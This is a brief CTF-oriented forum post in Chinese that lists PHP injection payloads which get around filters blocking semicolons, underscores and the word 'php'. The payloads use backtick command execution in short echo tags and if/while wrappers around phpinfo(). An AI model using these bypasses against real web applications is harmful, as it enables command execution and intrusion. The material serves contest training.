无名商城论坛

搜索
查看: 443|回复: 0

[TSD/原创] 记录奇奇怪怪php

[复制链接]

1万

主题

1万

帖子

3万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
32464
发表于 2022-5-8 19:31:58 | 显示全部楼层 |阅读模式
适用人群:CTFer
已知:
php代码中不允许出现; (分号),_,php,等等

问如何构造危险函数:
案例:
<?=`whoami`?> 造成无分号命令执行

<?=`whoami` 造成无分号无结尾命令执行

其他函数:
<?= if(phpinfo()){} 利用if语句绕过分号的拦截,代码执行

<?= while(phpInfo()){} 造成代码执行
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表